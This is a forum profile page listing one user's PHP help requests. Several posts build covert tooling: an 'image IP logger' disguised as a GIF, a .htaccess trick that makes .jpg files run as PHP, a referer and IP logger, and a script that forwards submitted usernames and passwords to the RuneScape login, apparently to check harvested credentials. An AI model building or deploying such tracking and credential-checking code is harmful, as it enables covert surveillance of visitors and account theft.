Jump to content

Lol5916

Members
  • Posts

    25
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

Lol5916's Achievements

Member

Member (2/5)

0

Reputation

  1. Ok, I read a bit about this and I think this might work, can anyone confirm or deny? AddType application/x-httpd-php jpg
  2. I know this uses .htaccess. How do I make it so that if someone accesses one of my files, that it will be executed as a php script. For example, let's say we use .jpg. Someone goes to http://site.com/image.jpg, I want it to run image.php so that code can be run(visitor information) and then an image will be displayed.
  3. What if I do something like include the install.php, I just don't know how I would stop it from making an error after it was installed.
  4. Ok thanks, but that's not the question and I would have figured it out eventually xD
  5. Ok so I have something on my index.php like: <?php $filename = "install.php"; if (file_exists($filename)) { echo "Site cannot be executed until the site is installed. <br> <a href="install.php">Click here to install site</a>"; die; } else { REMOVETHISCODE ?> If else is ran how do I get it to remove every line above it until it's at the top of the file, OR how do I get it to remove that php?
  6. No, it doesn't do anything. I believe it has something to do with the header having to be a full URL, but what if the full URL is unknown. I saw an example that showed how to do it, but what if your host doesn't support the $_Server things?
  7. My script does nothing, can someone help, no errors, just blank page. <?php ini_set('display_errors', 1); error_reporting(E_ALL); $user = $_POST['username']; $pass = $_POST['password']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"https://weblogin.runescape.com/login.ws?"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,"username=" . $user . "&password=" . $pass . "&mod=billing_core&ssl=1&dest=userdetails.ws"); $pagedata = curl_exec($ch); curl_close($ch); if (preg_match("/logged in/i", $pagedata)) { header( 'Location: index2.php' ); die; } elseif (preg_match("/Invalid username or password/i", $pagedata)) { header( 'Location: invalid.php' ); die; } else { header( 'Location: blocked.php' ); die; } ?>
  8. When I comment that out I get this: Warning: imagecreatefromgif() [function.imagecreatefromgif]: 'l.gif' is not a valid GIF file in /home/****/public_html/mysite.com/dir/1.php on line 28 Warning: imagegif(): supplied argument is not a valid Image resource in /home/****/public_html/mysite.com/dir/1.php on line 29 Warning: imagedestroy(): supplied argument is not a valid Image resource in /home/****/public_html/mysite.com/dir/1.php on line 30
  9. I'm making an Image IP loggers, here's the code: (I call this file 1.php) <?php ini_set('display_errors', 1); error_reporting(E_ALL); # SETTINGS: $imagelink = "http://mysite.com/dir/l.gif"; # END SETTINGS $fp = fopen('logs.txt', 'a'); # File will be created if (!exist) :-) $ip = $_SERVER['REMOTE_ADDR']; $agent = $_SERVER['HTTP_USER_AGENT']; $port = $_SERVER['REMOTE_PORT']; $file = $_SERVER['HTTP_REFERER']; # External page (viewed from this page) fwrite($fp, " Ip: ".$ip); fwrite($fp, " User-Agent: ".$agent); fwrite($fp, " Port: ".$port); fwrite($fp, " File: ".$file); fwrite($fp, "\n"); fclose($fp); header("content-type: image/gif"); $image = ImageCreateFromGIF($imagelink); imagegif($image); ImageDestroy($image); exit(); # Force exit (Reason: forum keeps loading) ?> Here's the error: The image “http://mysite.com/dir/1.php” cannot be displayed, because it contains errors. What am I doing wrong?
  10. Nope, that's not the problem.
  11. Here's the error: Notice: Undefined index: HTTP_REFERER in /home/*******/public_html/******/referer2.php on line 5 Script is: <?php ini_set('display_errors', 1); error_reporting(E_ALL); $line = ('------------------------------------------'); $ref = $_SERVER['HTTP_REFERER']; $ip = $_SERVER['REMOTE_ADDR']; $d = date('l dS \of F Y h:i:s A'); $mes = '<br>Referer: '.$ref."<br>"; $mes = 'IP: '.$ip."<br>"; $mes = "Date & Time: ".$d."<br>"; $mes = ".$line."; $file = "logger.html"; $fh = fopen($file, "a"); fwrite ($fh, "$mes\n"); fclose($fh); ?> What's the problem?
  12. Why is it that this $xxs = file_get_contents("registry3.php"); returns this? Parse error: syntax error, unexpected T_VARIABLE in /home/*****/public_html/****/installer.php on line 50
  13. This is probably a general PHP knowledge question, but how would I do this $ee = $_SERVER['DOCUMENT_ROOT']; $qq = fopen("file.php"); fwrite($qq, $ee"/banned.php"); fclose($qq); I want file.php to say the server document root/banned.php So it would be like: /home/******/public_html/banned.php in file.php
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.